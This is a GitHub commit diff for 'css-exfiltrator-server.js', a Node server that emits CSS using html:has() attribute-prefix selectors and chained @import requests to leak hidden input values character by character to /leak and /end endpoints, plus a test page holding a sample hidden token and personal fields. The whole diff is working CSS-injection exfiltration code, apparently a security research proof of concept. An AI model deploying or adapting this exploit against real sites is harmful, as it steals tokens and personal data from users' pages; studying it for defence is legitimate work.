Skip to content

Commit 368b67d

Browse files
Changed to timeout method. Updated test script
1 parent 311a9ca commit 368b67d

File tree

2 files changed

+66
-87
lines changed

2 files changed

+66
-87
lines changed

css-exfiltrator-server.js

Lines changed: 60 additions & 87 deletions
Original file line numberDiff line numberDiff line change
@@ -3,107 +3,71 @@ const url = require('url');
33
const port = 5001;
44

55
const HOSTNAME = "http://localhost:5001";
6-
const ELEMENTS = ["input","textarea","form"];
7-
const ATTRIBUTES = {__proto__:null,"input":["name","value"],"textarea":["name","value"],"form":["action"]};
8-
const MAX_ELEMENTS = 20;
9-
const MAX_VALUE_LEN = 32;
10-
const MAX_FORMS = 4;
11-
const MAX_FORM_ACTION_LEN = 50;
6+
const ELEMENTS = ["input"];
7+
//const ELEMENTS = ["input","textarea","form"];
8+
//const ATTRIBUTES = {__proto__:null,"input":["name","value"],"textarea":["name"],"form":["action"]};
9+
const ATTRIBUTES = {__proto__:null,"input":["name","value"]};
10+
const MAX_ELEMENTS = 1;
11+
const MAX_VALUE = 10;
12+
const WAIT_TIME_MS = 1000;
1213

1314
const CHARS = String.fromCodePoint(32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126).split('');
1415

1516
var pending = [];
16-
var stop = false, ready = 0, n = 0, prefixes = {__proto__:null};
17-
var inputCount = 0, textareaCount = 0, formCount = 0, tokens = [];
17+
var stop = false, n = 0, prefixes = {__proto__:null};
18+
var tokens = [], foundToken = false;
1819

1920
const requestHandler = (request, response) => {
2021
let req = url.parse(request.url, url);
2122
if (stop) return response.end();
2223
switch (req.pathname) {
2324
case "/start":
24-
completedCount = 0;
25-
inputCount = 0;
26-
textareaCount = 0;
27-
formCount = 0;
2825
n = 0;
2926
tokens = [];
3027
prefixes = {__proto__:null};
31-
stop = false;
32-
ready = 0;
28+
stop = false;
3329
pending = [];
30+
foundToken = false;
3431
genResponse(response);
3532
break;
36-
case "/logCount":
37-
response.end();
38-
if(req.query.inputCount) {
39-
inputCount = req.query.inputCount;
40-
}
41-
if(req.query.textareaCount) {
42-
textareaCount = req.query.textareaCount;
43-
}
44-
if(req.query.formCount) {
45-
formCount = req.query.formCount;
46-
}
47-
break;
4833
case "/leak":
4934
response.end();
50-
let hasChanged = false;
51-
for (const [element, attributeList] of Object.entries(ATTRIBUTES)) {
52-
for(const attribute of attributeList) {
53-
const value = prefixes['p_'+element+attribute];
54-
if(req.query['p_'+element+attribute] !== value) {
55-
prefixes['p_'+element+attribute] = req.query['p_'+element+attribute];
56-
hasChanged = true;
35+
for(let element of ELEMENTS) {
36+
for(let attribute of ATTRIBUTES[element]) {
37+
for(let i=0;i<MAX_ELEMENTS;i++) {
38+
if(n === +req.query.n) {
39+
if(typeof req.query['p_'+element+attribute+i] !== 'undefined') {
40+
if(typeof prefixes['p_'+element+attribute+i] === 'undefined') {
41+
prefixes['p_'+element+attribute+i] = '';
42+
}
43+
prefixes['p_'+element+attribute+i] = req.query['p_'+element+attribute+i];
44+
foundToken = true;
45+
}
46+
}
5747
}
5848
}
5949
}
60-
if (!hasChanged) {
61-
break;
62-
}
63-
if (ready == 2) {
64-
genResponse(pending.shift());
65-
ready = 0;
66-
} else {
67-
ready++;
68-
console.log('\tleak: waiting others...');
69-
}
50+
console.log('\tleak: waiting others...');
7051
break;
7152
case "/next":
72-
if (ready == 2) {
73-
genResponse(response);
74-
ready = 0;
75-
} else {
76-
pending.push(response);
77-
ready++;
78-
console.log('\tquery: waiting others...');
79-
}
53+
pending.push(response);
54+
console.log('\tquery: waiting others...');
55+
setTimeout(x=>{
56+
if(pending.length) {
57+
if(foundToken) {
58+
n++;
59+
genResponse(pending.shift());
60+
foundToken = false;
61+
} else {
62+
stop = true;
63+
}
64+
}
65+
}, WAIT_TIME_MS);
8066
break;
81-
case "/end":
82-
let total = inputCount + textareaCount + formCount;
83-
let actualInputCount = 0, actualTextareaCount = 0, actualFormCount = 0, currentTextareaCount = 0, currentInputCount = 0;
84-
for (const [element, attributeList] of Object.entries(ATTRIBUTES)) {
85-
for(const attribute of attributeList) {
86-
const value = tokens.find(e => e.element = element && e.attribute === attribute).token;
87-
if(req.query['token'+element+attribute] !== value) {
88-
let token = req.query['token'+element+attribute];
89-
tokens.push({element,attribute,token});
90-
if(element === 'form') {
91-
actualFormCount++;
92-
} else if(element === 'input') {
93-
currentInputCount++;
94-
} else if(element === 'textarea') {
95-
currentTextareaCount++;
96-
}
97-
}
98-
}
99-
}
100-
101-
actualInputCount = Math.floor(currentInputCount / 2);
102-
actualTextareaCount = Math.floor(currentTextareaCount / 2);
103-
104-
if(actual === total) {
105-
stop = true;
106-
console.log('[+] END: %s', tokens);
67+
case "/end":
68+
console.log('[+] END:', req.query.tokenName, req.query.tokenValue);
69+
if(stop) {
70+
response.end();
10771
}
10872
default:
10973
response.end();
@@ -114,26 +78,35 @@ const genResponse = (response) => {
11478
let css = '@import url('+ HOSTNAME + '/next?' + Date.now() + ');';
11579
let properties = [];
11680
for(let element of ELEMENTS) {
117-
for(let attribute of ATTRIBUTES[element]) {
118-
const variablePrefix = '--'+element[0]+'-'+attribute+'-';
119-
const prefix = typeof prefixes['p_'+element+attribute] === 'undefined' ? "" : prefixes['p_'+element+attribute];
120-
css += CHARS.map(e => ('html:has('+element+'['+attribute+'^="' + escapeCSS(prefix + e) + '"])' + '{'+variablePrefix+'s'+n+':url(' + HOSTNAME + '/leak?p_'+element+attribute+'=' + encodeURIComponent(prefix + e) +');}')).join('');
121-
if(n === 0) {
122-
for(let i=1;i<=(element === "form" ? MAX_FORM_ACTION_LEN : MAX_VALUE_LEN);i++) {
123-
properties.push('var('+variablePrefix+'s'+n+',none)');
81+
for(let attribute of ATTRIBUTES[element]) {
82+
for(let i=0;i<MAX_ELEMENTS;i++) {
83+
const variablePrefix = '--'+element+'-'+attribute+'-'+i+'-'+n;
84+
if(typeof prefixes['p_'+element+attribute+i] === 'undefined') {
85+
prefixes['p_'+element+attribute+i] = '';
12486
}
125-
properties.push('var('+variablePrefix+'full-token,none)');
87+
const prefix = prefixes['p_'+element+attribute+i];
88+
css += CHARS.map(e => ('html:has('+element+'['+attribute+'^="' + escapeCSS(prefix + e) + '"])' + '{'+variablePrefix+'s:url(' + HOSTNAME + '/leak?t='+Date.now()+'&n='+n+'&p_'+element+attribute+i+'=' + encodeURIComponent(prefix + e) +');}')).join('');
89+
css += 'html:has(['+attribute+'="'+ prefix + '"]){'+variablePrefix+'full-token:url(' + HOSTNAME + '/end?tokenName='+element+attribute+i+'&tokenValue=' + encodeURIComponent(prefix) + ');}';
12690
}
127-
css += 'html:has(['+attribute+'="'+ prefix + '"]){'+variablePrefix+'full-token:url(' + HOSTNAME + '/end?token'+element+attribute+'=' + encodeURIComponent(prefix) + ');}';
12891
}
12992
}
13093
if(n === 0) {
94+
for(let element of ELEMENTS) {
95+
for(let attribute of ATTRIBUTES[element]) {
96+
for(let i=0;i<MAX_ELEMENTS;i++) {
97+
for(let j=0;j<MAX_VALUE;j++) {
98+
const variablePrefix = '--'+element+'-'+attribute+'-'+i+'-'+j;
99+
properties.push('var('+variablePrefix+'s,none)');
100+
properties.push('var('+variablePrefix+'full-token,none)');
101+
}
102+
}
103+
}
104+
}
131105
css += `html{background:${properties.join(',')};}`;
132106
}
133107
response.writeHead(200, { 'Content-Type': 'text/css'});
134108
response.write(css);
135109
response.end();
136-
n++;
137110
}
138111

139112
const server = http.createServer(requestHandler)

test.html

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,12 @@
33
<div>
44
<input type="hidden" name="mytoken" value="ddaf35a193617abacc417349ae204">
55
</div>
6+
<div>
7+
<input type="text" name="first_name" value="Gareth">
8+
</div>
9+
<div>
10+
<input type="text" name="last_name" value="Heyes">
11+
</div>
612
<div>
713
<input type="hidden" name="email" value="[email protected]">
814
</div>

0 commit comments

Comments
 (0)